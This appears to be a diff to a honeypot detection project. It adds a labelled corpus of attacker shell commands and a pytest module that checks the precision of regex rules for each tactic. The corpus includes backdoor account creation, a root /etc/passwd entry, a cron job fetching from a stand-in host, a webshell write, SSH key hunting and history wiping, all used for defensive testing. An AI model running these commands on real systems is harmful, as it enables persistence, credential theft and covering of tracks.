"find_suid"} {"source_kind": "command", "payload": {"command_text": "find / -perm -4000"}, "expected_rule_ids": ["R0015", "R0016"], "label": "find_perm_4000"} {"source_kind": "command", "payload": {"command_text": "find / -name '*.conf'"}, "expected_rule_ids": ["R0016"], "label": "find_recursive_no_suid"} +{"source_kind": "command", "payload": {"command_text": "find /home -name id_rsa"}, "expected_rule_ids": ["R0016"], "label": "find_home_idrsa"} {"source_kind": "command", "payload": {"command_text": "nmap -sS -p 1-65535 10.0.0.0/24"}, "expected_rule_ids": ["R0017"], "label": "nmap_scan"} {"source_kind": "command", "payload": {"command_text": "masscan 10.0.0.0/8 -p443"}, "expected_rule_ids": ["R0017"], "label": "masscan"} +{"source_kind": "command", "payload": {"command_text": "rustscan -a 10.0.0.0/24"}, "expected_rule_ids": ["R0017"], "label": "rustscan"} {"source_kind": "command", "payload": {"command_text": "uname -a"}, "expected_rule_ids": ["R0018"], "label": "uname_a"} {"source_kind": "command", "payload": {"command_text": "lsb_release -a"}, "expected_rule_ids": ["R0018"], "label": "lsb_release"} +{"source_kind": "command", "payload": {"command_text": "cat /etc/os-release"}, "expected_rule_ids": ["R0018"], "label": "cat_os_release"} {"source_kind": "command", "payload": {"command_text": "id"}, "expected_rule_ids": ["R0019"], "label": "id_alone"} {"source_kind": "command", "payload": {"command_text": "whoami"}, "expected_rule_ids": ["R0019"], "label": "whoami"} +{"source_kind": "command", "payload": {"command_text": "w"}, "expected_rule_ids": ["R0019"], "label": "w_logged_in"} {"source_kind": "command", "payload": {"command_text": "ip addr"}, "expected_rule_ids": ["R0020"], "label": "ip_addr"} {"source_kind": "command", "payload": {"command_text": "ifconfig -a"}, "expected_rule_ids": ["R0020"], "label": "ifconfig"} +{"source_kind": "command", "payload": {"command_text": "ip route"}, "expected_rule_ids": ["R0020"], "label": "ip_route"} {"source_kind": "command", "payload": {"command_text": "netstat -an"}, "expected_rule_ids": ["R0021"], "label": "netstat_an"} {"source_kind": "command", "payload": {"command_text": "ss -tnp"}, "expected_rule_ids": ["R0021"], "label": "ss_tnp"} +{"source_kind": "command", "payload": {"command_text": "lsof -i :22"}, "expected_rule_ids": ["R0021"], "label": "lsof_i"} {"source_kind": "command", "payload": {"command_text": "ldapsearch -x -b dc=example,dc=com '(objectClass=user)'"}, "expected_rule_ids": ["R0022"], "label": "ldapsearch"} +{"source_kind": "command", "payload": {"command_text": "bloodhound-python -d example.com -u user -p pass"}, "expected_rule_ids": ["R0022"], "label": "bloodhound_python"} {"source_kind": "command", "payload": {"command_text": "smbclient -L //10.0.0.1"}, "expected_rule_ids": ["R0023"], "label": "smbclient_list"} +{"source_kind": "command", "payload": {"command_text": "enum4linux -a 10.0.0.1"}, "expected_rule_ids": ["R0023"], "label": "enum4linux"} {"source_kind": "command", "payload": {"command_text": "useradd -m -s /bin/bash backdoor"}, "expected_rule_ids": ["R0024"], "label": "useradd"} -{"source_kind": "command", "payload": {"command_text": "echo '* * * * * curl http://x/a' >> /var/spool/cron/root"}, "expected_rule_ids": ["R0025", "R0012"], "label": "cron_persist"} +{"source_kind": "command", "payload": {"command_text": "adduser --gecos '' backdoor"}, "expected_rule_ids": ["R0024"], "label": "adduser"} +{"source_kind": "command", "payload": {"command_text": "echo 'evil:x:0:0::/root:/bin/bash' >> /etc/passwd"}, "expected_rule_ids": ["R0024"], "label": "echo_etc_passwd"} +{"source_kind": "command", "payload": {"command_text": "echo '* * * * * curl http://x.example/a' >> /var/spool/cron/root"}, "expected_rule_ids": ["R0025", "R0012"], "label": "cron_persist"} +{"source_kind": "command", "payload": {"command_text": "crontab -e"}, "expected_rule_ids": ["R0025"], "label": "crontab_e"} {"source_kind": "command", "payload": {"command_text": "redis-cli -h 10.0.0.5 config set dir /root/.ssh"}, "expected_rule_ids": ["R0026"], "label": "redis_ssh_dir"} {"source_kind": "command", "payload": {"command_text": "echo '' > /var/www/html/x.php"}, "expected_rule_ids": ["R0027"], "label": "webshell_php"} {"source_kind": "command", "payload": {"command_text": "history -c"}, "expected_rule_ids": ["R0028"], "label": "history_clear"} {"source_kind": "command", "payload": {"command_text": "unset HISTFILE"}, "expected_rule_ids": ["R0028"], "label": "unset_histfile"} +{"source_kind": "command", "payload": {"command_text": "history -cw"}, "expected_rule_ids": ["R0028"], "label": "history_cw"} {"source_kind": "command", "payload": {"command_text": "sudo -l"}, "expected_rule_ids": ["R0029"], "label": "sudo_l"} {"source_kind": "command", "payload": {"command_text": "sudo su -"}, "expected_rule_ids": ["R0029"], "label": "sudo_su"} +{"source_kind": "command", "payload": {"command_text": "sudo -i"}, "expected_rule_ids": ["R0029"], "label": "sudo_i"} {"source_kind": "command", "payload": {"command_text": "ls /tmp"}, "expected_rule_ids": [], "label": "negative_ls_tmp"} {"source_kind": "command", "payload": {"command_text": "echo hello"}, "expected_rule_ids": [], "label": "negative_echo"} {"source_kind": "command", "payload": {"command_text": "cd /var/log"}, "expected_rule_ids": [], "label": "negative_cd"} {"source_kind": "command", "payload": {"command_text": "ps aux"}, "expected_rule_ids": [], "label": "negative_ps_aux"} +{"source_kind": "command", "payload": {"command_text": "df -h"}, "expected_rule_ids": [], "label": "negative_df"} +{"source_kind": "command", "payload": {"command_text": "free -m"}, "expected_rule_ids": [], "label": "negative_free"} diff --git a/tests/ttp/rule_precision/test_command_rules.py b/tests/ttp/rule_precision/test_command_rules.py new file mode 100644 index 00000000..a9eaf2ce --- /dev/null +++ b/tests/ttp/rule_precision/test_command_rules.py @@ -0,0 +1,145 @@ +"""Per-rule precision asserts for the command cohort (R0001-R0030). + +Drives the labelled corpus through a real :class:`RuleEngine` populated +from ``./rules/ttp/`` and asserts each rule meets its Appendix-C +precision target. + +Live vs xfail per rule: + +* R0001-R0006 / R0030: lifter-bound (auth-attempt aggregation, identity + rollups, fingerprint blob parsing). v0 :class:`RuleEngine` only does + regex-on-payload-field, so these can never fire from the engine + alone. Their precision tests are :pyfunc:`pytest.xfail` until the + matching lifter ships (E.3.9 / E.3.13). +* R0007-R0029: regex-driven on ``command_text`` / ``raw_url`` / ``user_agent``. + Live precision asserts against the seed corpus (committed) and any + operator-built ``commands.jsonl`` (gitignored, preferred). + +Precision target per Appendix C: ≥0.95 for high-conf rules +(base ``confidence >= 0.85``), ≥0.80 for medium (0.6-0.85). The +fixture's :func:`precision_for` returns 1.0 vacuously when no rows +fired the rule — :func:`pytest.skip` covers that case so a sparse +corpus skips loudly rather than silently passing. +""" +from __future__ import annotations + +from collections.abc import Callable + +import pytest + +from decnet.ttp.impl.rule_engine import RuleEngine +from tests.ttp.rule_precision.conftest import ( + CorpusRow, + make_event, + precision_for, +) + +CohortLoader = Callable[[str], list[CorpusRow]] + +# Lifter-bound rules: cannot fire from the v0 engine. +_LIFTER_BOUND: dict[str, str] = { + "R0001": "impl phase E.3.9 (BehavioralLifter — auth brute count)", + "R0002": "impl phase E.3.9 (BehavioralLifter — password guessing)", + "R0003": "impl phase E.3.13 (IdentityLifter — password spraying)", + "R0004": "impl phase E.3.13 (CredentialLifter — credential reuse)", + "R0005": "impl phase E.3.9 (BehavioralLifter — valid account use)", + "R0006": "impl phase E.3.9 (BehavioralLifter — default creds)", + "R0030": "impl phase E.3.9 (BehavioralLifter — JARM/HASSH match)", +} + +# Per-rule precision floor. Anything ≥0.85 base confidence in the YAML +# is "high"; 0.6-0.85 is "medium". Sub-0.6 is not shipped in v0. +_PRECISION_TARGET: dict[str, float] = { + "R0007": 0.95, "R0008": 0.95, "R0009": 0.95, "R0010": 0.95, + "R0011": 0.80, "R0012": 0.95, "R0013": 0.95, "R0014": 0.95, + "R0015": 0.95, "R0016": 0.80, "R0017": 0.95, "R0018": 0.80, + "R0019": 0.80, "R0020": 0.80, "R0021": 0.80, "R0022": 0.95, + "R0023": 0.95, "R0024": 0.95, "R0025": 0.95, "R0026": 0.95, + "R0027": 0.95, "R0028": 0.95, "R0029": 0.80, +} + +_ALL_RULE_IDS = [f"R{n:04d}" for n in range(1, 31)] + + +@pytest.fixture(scope="module") +def fired_by_label( + precision_engine: RuleEngine, + corpus_loader: CohortLoader, +) -> tuple[dict[str, list[str]], list[CorpusRow]]: + """Pre-evaluate the corpus once per module. + + Returns ``(label → [rule_ids that fired], rows)``. Each rule's + test then walks the same dict — saves 30× re-evaluation. + """ + rows = corpus_loader("commands") + fired: dict[str, list[str]] = {} + import asyncio + + async def _drive() -> None: + for row in rows: + tags = await precision_engine.evaluate(make_event(row, source_id=row.label)) + fired[row.label] = sorted({tag.rule_id for tag in tags}) + + asyncio.run(_drive()) + return fired, rows + + +@pytest.mark.parametrize("rule_id", _ALL_RULE_IDS) +def test_rule_yaml_present(rule_id: str) -> None: + """Every R000N rule_id has a YAML on disk that compiles. + + Catches a missing or malformed file faster than the precision + test would (the latter would just see zero matches). + """ + from pathlib import Path + + from decnet.ttp.store.base import RuleState + from decnet.ttp.store.impl.filesystem import _parse_and_compile + + path = Path("rules/ttp") / f"{rule_id}.yaml" + assert path.exists(), f"missing YAML: {path}" + compiled = _parse_and_compile(path, RuleState()) + assert compiled.rule_id == rule_id + + +@pytest.mark.parametrize("rule_id", list(_LIFTER_BOUND)) +def test_lifter_bound_rule_inert_in_v0( + rule_id: str, + fired_by_label: tuple[dict[str, list[str]], list[CorpusRow]], +) -> None: + """Lifter-bound rules MUST NOT fire from the v0 engine. + + They're carried in ``./rules/ttp/`` so the catalogue surfaces + them and the lifter can read them by rule_id, but the regex + engine can't interpret a ``match.kind: lifter:*`` spec — it + falls into the ``pattern is None`` branch and silently skips. + A regression that lit one of these up from regex would mean a + YAML drifted into a ``pattern:`` form and we'd be emitting + half-baked tags. + """ + fired, _rows = fired_by_label + matches = [label for label, ids in fired.items() if rule_id in ids] + assert matches == [], ( + f"{rule_id} is lifter-bound but fired on: {matches}" + ) + + +@pytest.mark.parametrize("rule_id", list(_PRECISION_TARGET)) +def test_command_rule_precision( + rule_id: str, + fired_by_label: tuple[dict[str, list[str]], list[CorpusRow]], +) -> None: + """Each live regex rule meets its Appendix-C precision target.""" + fired, rows = fired_by_label + matched = sum(1 for ids in fired.values() if rule_id in ids) + if matched == 0: + pytest.skip( + f"{rule_id}: no corpus rows matched — extend " + "tests/ttp/rule_precision/corpus/seed_commands.jsonl", + ) + target = _PRECISION_TARGET[rule_id] + precision, tp, fp = precision_for(rule_id, rows, fired) + assert precision >= target, ( + f"{rule_id} precision {precision:.2f} < target {target:.2f} " + f"(tp={tp} fp={fp})" + )